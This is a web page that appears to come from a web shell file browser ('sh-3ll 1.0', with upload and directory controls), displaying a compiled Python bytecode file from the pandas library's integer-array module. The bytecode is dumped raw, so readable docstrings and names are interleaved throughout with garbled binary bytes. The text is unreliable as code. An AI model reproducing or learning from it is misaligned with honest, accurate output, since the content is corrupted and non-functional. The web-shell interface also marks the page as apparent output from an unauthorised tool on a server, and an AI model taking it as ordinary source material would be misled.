HOME


sh-3ll 1.0
DIR:/usr/local/lib64/python3.6/site-packages/pandas/core/arrays/__pycache__/
Upload File :
Current File : //usr/local/lib64/python3.6/site-packages/pandas/core/arrays/__pycache__/integer.cpython-36.pyc
3

���h�Y�	@shUddlZddlmZmZmZmZmZmZmZddl	Z	ddl
Zddlm
Z
mZddlmZmZddlmZddlmZddlmZddlmZdd	lmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%dd
l&m'Z'ddl(m)Z)ddl*m+Z+dd
l,m-Z-ddl.m/Z/ddl0m1Z1ddl2m3Z3m4Z4e�r ddl5Z5Gdd�de4�Z6d1e7dd�dd�Z8e7d�dd�Z9d2e7eej:ej:fd�dd�Z;Gdd�de3�Z<e<j=�e<j>�dZ?eGd d!�d!e6��Z@eGd"d#�d#e6��ZAeGd$d%�d%e6��ZBeGd&d'�d'e6��ZCeGd(d)�d)e6��ZDeGd*d+�d+e6��ZEeGd,d-�d-e6��ZFeGd.d/�d/e6��ZGe@�eA�eB�eC�eD�eE�eF�eG�d0�ZHeeIe6fHdS)3�N)�
TYPE_CHECKING�Dict�List�Optional�Tuple�Type�Union)�lib�missing)�	ArrayLike�DtypeObj)�set_function_name)�function)�cache_readonly)�register_extension_dtype)	�
is_bool_dtype�is_datetime64_dtype�is_float�is_float_dtype�
is_integer�is_integer_dtype�is_list_like�is_object_dtype�pandas_dtype)�isna)�ops)�masked_reductions)�invalid_comparison)�unpack_zerodim_and_defer)�
to_numeric�)�BaseMaskedArray�BaseMaskedDtypec@s�eZdZUdZedZeed�dd�Z	e
ed�dd��Ze
ed�dd	��Z
eed�d
d��Ze
ejd�dd
��Ze
ed�dd��Ze
ed�dd��Zeedd�dd��Zeeeed�dd�Zeddd�dd�ZdS)�
_IntegerDtypea'
    An ExtensionDtype to hold a single size & kind of integer dtype.

    These specific implementations are subclasses of the non-public
    _IntegerDtype. For example we have Int8Dtype to represent signed int 8s.

    The attributes name & type are set when these subclasses are created.
    N)�returncCs$|jr
dnd}|�dd|j�d�S)N�U��Int�zDtype())�is_unsigned_integer�itemsize)�self�sign�r-�</tmp/pip-build-5_djhm0z/pandas/pandas/core/arrays/integer.py�__repr__5sz_IntegerDtype.__repr__cCs
|jdkS)N�i)�kind)r+r-r-r.�is_signed_integer9sz_IntegerDtype.is_signed_integercCs
|jdkS)N�u)r1)r+r-r-r.r)=sz!_IntegerDtype.is_unsigned_integercCsdS)NTr-)r+r-r-r.�_is_numericAsz_IntegerDtype._is_numericcCstj|j�S)z' Return an instance of our numpy dtype )�np�dtype�type)r+r-r-r.�numpy_dtypeEsz_IntegerDtype.numpy_dtypecCs|jjS)N)r8r1)r+r-r-r.r1Jsz_IntegerDtype.kindcCs|jjS)z* Return the number of bytes in this dtype )r8r*)r+r-r-r.r*Nsz_IntegerDtype.itemsize�IntegerArraycCstS)zq
        Return the array type associated with this dtype.

        Returns
        -------
        type
        )r9)�clsr-r-r.�construct_array_typeSs	z"_IntegerDtype.construct_array_type)�dtypesr$cCsJtdd�|D��sdStjdd�|D�g�}tj|tj�rFtt|�SdS)Ncss@|]8}t|t�p6t|tj�o6tj|tj�p6tj|tj�VqdS)N)�
isinstancer"r5r6�
issubdtype�numberZbool_)�.0�tr-r-r.�	<genexpr>asz2_IntegerDtype._get_common_dtype.<locals>.<genexpr>cSs g|]}t|t�r|jn|�qSr-)r=r"r8)r@rAr-r-r.�
<listcomp>jsz3_IntegerDtype._get_common_dtype.<locals>.<listcomp>)�allr5Zfind_common_typer>�integer�_dtypes�str)r+r<Znp_dtyper-r-r.�_get_common_dtype^s
z_IntegerDtype._get_common_dtype�
pyarrow.Array�pyarrow.ChunkedArray)�arrayr$cCs�ddl}ddlm}|j|j�}|jj|�s6|j|�}t||j�rJ|g}n|j	}g}x<|D]4}|||jd�\}}	t
|j�|	dd�}
|j|
�qZWt
j
|�S)zI
        Construct IntegerArray from pyarrow Array/ChunkedArray.
        rN)�pyarrow_array_to_numpy_and_mask)r6F)�copy)�pyarrowZpandas.core.arrays._arrow_utilsrLZfrom_numpy_dtyper7�equals�castr=�Array�chunksr9rM�appendZ_concat_same_type)r+rKrNrLZpyarrow_typerR�resultsZarr�data�maskZint_arrr-r-r.�__from_arrow__ps

z_IntegerDtype.__from_arrow__)rIrJ)�__name__�
__module__�__qualname__�__doc__rG�name�baserr7r/r�boolr2r)�propertyr4r5r6r8r1�intr*�classmethodr;rrrrHrrWr-r-r-r.r#'s,

r#Fr9)rMr$cCst|||d�\}}t||�S)a+
    Infer and return an integer array of the values.

    Parameters
    ----------
    values : 1D list-like
    dtype : dtype, optional
        dtype to coerce
    copy : bool, default False

    Returns
    -------
    IntegerArray

    Raises
    ------
    TypeError if incompatible types
    )r6rM)�coerce_to_arrayr9)�valuesr6rMrVr-r-r.�
integer_array�srd)rMcCsty|j|d|d�Stk
rn}zB|j||d�}||kj�r@|Std|j�dtj|����|�WYdd}~XnXdS)z}
    Safely cast the values to the dtype if they
    are equivalent, meaning floats must be equivalent to the
    ints.

    �safe)ZcastingrM)rMz"cannot safely cast non-equivalent z to N)�astype�	TypeErrorrDr6r5)rcr6rM�errZcastedr-r-r.�	safe_cast�sricCsT|dkr"t|d�r"t|j�r"|j}|dk	r�t|t�rP|jd�sH|jd�rP|j�}tt|�t	�s�yt
ttj|��}Wn2tk
r�}zt
d|���|�WYdd}~XnXt|t�r�|j|j}}|dk	r�|j|jdd�}|r�|j�}|j�}||fStj||d�}t|��r\tj|dd	�}|d
k�r@tjt|��}|jtj�n|dk�r�t|j�d���nJt|��r�t|��r�tj|t|d�}n$t|��p�t|��s�t|j�d���|dk�r�t |�}nt|�t|�k�s�t!�|j"dk�s�td��|j"dk�s�td��|dk�rtjd�}n|j}|j#��r>|j�}d||<t$||dd�}nt$||dd�}||fS)a-
    Coerce the input values array to numpy arrays with a mask

    Parameters
    ----------
    values : 1D list-like
    dtype : integer dtype
    mask : bool 1D array, optional
    copy : bool, default False
        if True, copy the input

    Returns
    -------
    tuple of (values, mask)
    Nr6r'ZUIntzinvalid dtype specified F)rMT)�skipna�empty�floatingrE�
mixed-integer�
integer-na�mixed-integer-floatz' cannot be converted to an IntegerDtype)r6rMr zvalues must be a 1D list-likezmask must be a 1D list-like�int64)rlrErmrnro)%�hasattrrr6r=rG�
startswith�lower�
issubclassr7r#rFr5�KeyError�
ValueErrorr9�_data�_maskrfr8rMrKrr	Zinfer_dtyperk�len�fill�nanrgrr`rr�AssertionError�ndim�anyri)rcr6rVrMrhZ
inferred_typer-r-r.rb�sj

"






rbcseZdZdZdZeed�dd��Zd*ej	ej	e
d��fdd	�
Zd
d�Zdd
�Z
dd�Zed+e
dd�dd��Zed,e
dd�dd��Zej	ejfZed�dd�Zeej	ej	fd�dd�Zd-e
ed�dd�Zej	d�dd�Zed d!��Zd.d#d$�Zed%�d&d'�Zed(d)��Z�Z S)/r9a\
    Array of integer (optional missing) values.

    .. versionadded:: 0.24.0

    .. versionchanged:: 1.0.0

       Now uses :attr:`pandas.NA` as the missing value rather
       than :attr:`numpy.nan`.

    .. warning::

       IntegerArray is currently experimental, and its API or internal
       implementation may change without warning.

    We represent an IntegerArray with 2 numpy arrays:

    - data: contains a numpy integer array of the appropriate dtype
    - mask: a boolean array holding a mask on the data, True is missing

    To construct an IntegerArray from generic array-like input, use
    :func:`pandas.array` with one of the integer dtypes (see examples).

    See :ref:`integer_na` for more.

    Parameters
    ----------
    values : numpy.ndarray
        A 1-d integer-dtype array.
    mask : numpy.ndarray
        A 1-d boolean-dtype array indicating missing values.
    copy : bool, default False
        Whether to copy the `values` and `mask`.

    Attributes
    ----------
    None

    Methods
    -------
    None

    Returns
    -------
    IntegerArray

    Examples
    --------
    Create an IntegerArray with :func:`pandas.array`.

    >>> int_array = pd.array([1, None, 3], dtype=pd.Int32Dtype())
    >>> int_array
    <IntegerArray>
    [1, <NA>, 3]
    Length: 3, dtype: Int32

    String aliases for the dtypes are also available. They are capitalized.

    >>> pd.array([1, None, 3], dtype='Int32')
    <IntegerArray>
    [1, <NA>, 3]
    Length: 3, dtype: Int32

    >>> pd.array([1, None, 3], dtype='UInt16')
    <IntegerArray>
    [1, <NA>, 3]
    Length: 3, dtype: UInt16
    r )r$cCstt|jj�S)N)rFrGrwr6)r+r-r-r.r6cszIntegerArray.dtypeF)rcrVrMcs6t|tj�o|jjdks td��t�j|||d�dS)Nr0r3zIvalues should be integer numpy array. Use the 'pd.array' function instead)rM)r0r3)r=r5�ndarrayr6r1rg�super�__init__)r+rcrVrM)�	__class__r-r.r�gszIntegerArray.__init__cCst|�|j|j�S)N)r7rwrx)r+r-r-r.�__neg__oszIntegerArray.__neg__cCs|S)Nr-)r+r-r-r.�__pos__rszIntegerArray.__pos__cCst|�tj|j�|j�S)N)r7r5�absrwrx)r+r-r-r.�__abs__uszIntegerArray.__abs__N)rMr$cCst|||d�S)N)r6rM)rd)r:�scalarsr6rMr-r-r.�_from_sequencexszIntegerArray._from_sequencecCst|dd�}|j|||�S)N�raise)�errors)rr�)r:�stringsr6rMr�r-r-r.�_from_sequence_of_strings|sz&IntegerArray._from_sequence_of_strings)�methodc	s|dkrtd��|jdf�}x&||D]}t||jtf�s&tSq&Wtj|||f|�|�}|tk	rf|Stj	t
|�td��g}x8|D]0}t|t�r��|jO�|j
|j�q�|j
|�q�W�fdd��t||�||�}t|t�r�t�fdd�|D��n�|�SdS)	N�reducez%The 'reduce' method is not supported.�out)r6cs*t|j�r�j�}t||�Stj|�<|S)N)rr6rMr9r5r{)�x�m)rVr-r.�reconstruct�s



z1IntegerArray.__array_ufunc__.<locals>.reconstructc3s|]}�|�VqdS)Nr-)r@r�)r�r-r.rB�sz/IntegerArray.__array_ufunc__.<locals>.<genexpr>)�NotImplementedError�getr=�_HANDLED_TYPESr9�NotImplementedrZ!maybe_dispatch_ufunc_to_dunder_opr5�zerosryr^rxrSrw�getattr�tuple)	r+Zufuncr��inputs�kwargsr�r��resultZinputs2r-)rVr�r.�__array_ufunc__�s,



zIntegerArray.__array_ufunc__cCst||jd�S)N)r6)rbr6)r+�valuer-r-r.�_coerce_to_array�szIntegerArray._coerce_to_arrayTcCs�ddlm}ddlm}t|�}|j|kr:|r6|j�S|St||�r�|jj	|j
|d�}||jkrf|jn|jj�}|j�||dd�St||�r�|j�j
|dd�St|�r�tj}nt|�r�tjd�}ntj}|j||dd�S)a�
        Cast to a NumPy array or ExtensionArray with 'dtype'.

        Parameters
        ----------
        dtype : str or dtype
            Typecode or data-type to which the array is cast.
        copy : bool, default True
            Whether to copy the data, even if not necessary. If False,
            a copy is made only if the old dtype does not match the
            new dtype.

        Returns
        -------
        ndarray or ExtensionArray
            NumPy ndarray, BooleanArray or IntegerArray with 'dtype' for its dtype.

        Raises
        ------
        TypeError
            if incompatible type with an IntegerDtype, equivalent of same_kind
            casting
        r)r")�StringDtype)rMFZNaT)r6�na_valuerM)Zpandas.core.arrays.maskedr"Zpandas.core.arrays.string_r�rr6rMr=rwrfr8rxr;r�rr5r{rZ
datetime64r	Z
no_defaultZto_numpy)r+r6rMr"r�rUrVr�r-r-r.rf�s"


zIntegerArray.astypecCs*|jj�}|jj�r&|j�d||j<|S)a
        Return values for sorting.

        Returns
        -------
        ndarray
            The transformed values should maintain the ordering between values
            within the array.

        See Also
        --------
        ExtensionArray.argsort
        r )rwrMrxr~�min)r+rUr-r-r.�_values_for_argsort�s

z IntegerArray._values_for_argsortcs8�j�t�j���fdd��}d�j�d�}t|||�S)Ncs0ddlm}d}t||tf�r.|j|j}}n<t|�rjtj|�}|j	dkrRt
d��t|�t|�krjtd��|t
jkr�tj|jjdd�}tj|jjdd�}nltj��^tjdd	t�tjdd
��"t|jd��d��}||�}WdQRX|tkr�t|j|��}WdQRX|dk�r|jj�}n
|j|B}|||�S)Nr)�BooleanArrayr z(can only perform ops with 1-d structureszLengths must match to comparer^)r6�ignoreZelementwise)rD�__)Z
pandas.arraysr�r=r9rwrxrr5�asarrayr}r�ryrv�
libmissing�NAr��shapeZones�warnings�catch_warnings�filterwarnings�
FutureWarning�errstater�r�rrM)r+�otherr�rVr�r�)�op�op_namer-r.�
cmp_methods2





z:IntegerArray._create_comparison_method.<locals>.cmp_methodr�)rXrr
)r:r�r�r\r-)r�r�r.�_create_comparison_method�s0z&IntegerArray._create_comparison_methodrcKs&tjf|�tj|j|j||d�}|S)N)rcrVrj�	min_count)�nvZvalidate_sumr�sumrwrx)r+rjr�r�r�r-r-r.r�5szIntegerArray.sum)r�cCs8t|�st|�s|dkr&tj||<|St|�||dd�S)z�
        Parameters
        ----------
        result : array-like
        mask : array-like bool
        other : scalar or array-like
        op_name : str
        �rtruediv�truedivF)rM)r�r�)rrr5r{r7)r+r�rVr�r�r-r-r.�_maybe_mask_result<s

zIntegerArray._maybe_mask_resultcs8�j�t�j���fdd��}d�j�d�}t|||�S)Nc
s0d}t|dd�dkrtd��t|t�r6|j|j}}nxt|�r�tj|�}|j	dkrZtd��t
|�t
|�krrtd��t|�p�t
|�s�td��n"t|�p�t|�p�|tjks�td��|dkr�|jj�}|tjkr�|dO}n
|j|B}�dk�rHtj|jdk|j@d	|�}|dk	�r(tj|dk|@d	|�}n|tjk	�r�tj|dkd	|�}nh�d
k�r�|dk	�rvtj|dk|@d	|�}n|tjk	�r�tj|dkd	|�}tj|jdk|j@d	|�}|tjk�r�tj|j�}n$tjdd���|j|�}WdQRX�d
k�r |\}}|j|||d�|j|||d�fS|j|||��S)Nr}rr z(can only perform ops with 1-d structureszLengths must matchz(can only perform ops with numeric valuesT�powFZrpowr�)rD�divmod�floordiv�mod)r�r�r=r9rwrxrr5r�r}ryrvrrrgrrr�r�rM�whereZ	ones_liker�r�)r+r�ZomaskrVr��divr�)r�r�r-r.�integer_arithmetic_methodTsT












zIIntegerArray._create_arithmetic_method.<locals>.integer_arithmetic_methodr�)rXrr
)r:r�r�r\r-)r�r�r.�_create_arithmetic_methodPsCz&IntegerArray._create_arithmetic_method)F)NF)NF)T)Tr)!rXrYrZr[Z_internal_fill_valuerr#r6r5rr^r�r�r�r�rar�r��numbers�Numberr�rGr�rr�rrfr�r�r�r�r��
__classcell__r-r-)r�r.r9s,D-67
z�
An ExtensionDtype for {dtype} integer data.

.. versionchanged:: 1.0.0

   Now uses :attr:`pandas.NA` as its missing value,
   rather than :attr:`numpy.nan`.

Attributes
----------
None

Methods
-------
None
c@s"eZdZejZdZejdd�Z	dS)�	Int8DtypeZInt8�int8)r6N)
rXrYrZr5r�r7r\�_dtype_docstring�formatr[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�
Int16DtypeZInt16�int16)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�
Int32DtypeZInt32�int32)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�
Int64DtypeZInt64rp)r6N)
rXrYrZr5rpr7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�
UInt8DtypeZUInt8�uint8)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�UInt16DtypeZUInt16�uint16)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�UInt32DtypeZUInt32�uint32)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�c@s"eZdZejZdZejdd�Z	dS)�UInt64DtypeZUInt64�uint64)r6N)
rXrYrZr5r�r7r\r�r�r[r-r-r-r.r��sr�)r�r�r�rpr�r�r�r�)NF)NF)Jr�Ztypingrrrrrrrr�Znumpyr5Zpandas._libsr	r
r�Zpandas._typingrrZ
pandas.compatr
Zpandas.compat.numpyrr�Zpandas.util._decoratorsrZpandas.core.dtypes.baserZpandas.core.dtypes.commonrrrrrrrrrZpandas.core.dtypes.missingrZpandas.corerZpandas.core.array_algosrZpandas.core.opsrZpandas.core.ops.commonrZpandas.core.tools.numericrZmaskedr!r"rNr#r^rdrirrbr9Z_add_arithmetic_opsZ_add_comparison_opsr�r�r�r�r�r�r�r�r�rFrGr-r-r-r.�<module>sp$,f`